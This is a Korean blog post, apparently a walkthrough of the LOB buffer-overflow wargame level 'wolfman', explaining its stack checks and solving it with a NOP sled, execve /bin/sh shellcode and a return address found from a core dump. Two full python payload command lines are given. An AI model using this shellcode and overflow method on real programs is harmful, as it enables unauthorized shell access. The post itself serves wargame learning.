System/LOB

[LOB_6]wolfman

dcho 2019. 7. 25. 20:09
SMALL
wolfman // love eyuna

소스파일을 확인해 어떻게 구성되어있는지 확인해준다.
여기서 프로세스안 스택에서 젤 주소가 높은위치에 환경변수들이 있는데 거기를 가리키는게 environ (환경변수에 대한 포인터) 
egghunter 로 인해 NULL 값이 나올 때 까지 환경변수에 0을 덮어 씌우니 환경변수는 쓸수없고 
그리고 2번째 인자값의 48번째에는 \xbf 가 나와야 프로그램이 종류가 안되고
buffer hunter 또한 있다.
여기까진 전문제와 동일하다.

추가로 //check the length of argument 로 2번째 인자의 크기또한 막혔다.

가용한 부분 esp-=44를 해주었다. i는 우리가 사용할 버퍼가 아니니 40을 기억.
여기  | ret | sfp | buffer |
1번째 인자가 ret까지인데 2번째 인자를이용해서 빨간 부분에 오버플로우를 이용해 여기 부분에 쉘 코드를 입력해주고 주소를 알아내 ret에 넣어주면된다.
일부러 Sementation fault를해서 주소를 확인하기 위해 코어덤프를 해줘야하는데 다른 디텍토리에 사본을 만든다.
1번째 인자에 소스를 보고 조건에 맞게 Segmentation fault를 하고 두번째 인자에는 일부 NOP값과 쉘코드를 넣어준다.

\x31를 확인하고 쉘코드의 시작주소를 알아냈다. 앞에 NOP이 있는 적당한 위치로 주소를 잡는다.
성공.

++ 추가 해설 (2019.09.10)

./darkelf `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*7+"\xbf"'`

tmp 디렉토리에 사본을 만들고 위와 같은 페이로드로 공격을 시도했다. NOP*15 + 쉘코드(크기:25) + NOP*7 + \xbf" 이런식이다.
buffer 에 NOP과 쉘코드로 꽉꽉 채워주고 SFP와 RET에 NOP과 0xbf를 넣어 프로그램이 종료되지 않게 알차게 넣어주었다.

세폴트가 뜨는것을 확인하고 코어덤프를 통해 위와 같이 확인한 결과 스택메모리에 쉘코드가 올라가 있음을 확인하고 그 주소를 RET에 넣어주었다.

./darkelf `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*4+"\xb1\xfc\xff\xbf"'`

그렇다면 위와 같은 페이로드를 완성해볼 수 있다. 원본 문제파일에 공격~
`

클리어! 

kernel crashed ~~~




 


'System > LOB' 카테고리의 다른 글

[LOB_8]orge  (0) 2019.09.24
[LOB_7]darkelf  (0) 2019.09.24
[LOB_5]orc  (0) 2019.07.25
[LOB_4]goblin  (0) 2019.07.25
[LOB_3]cobolt  (0) 2019.07.25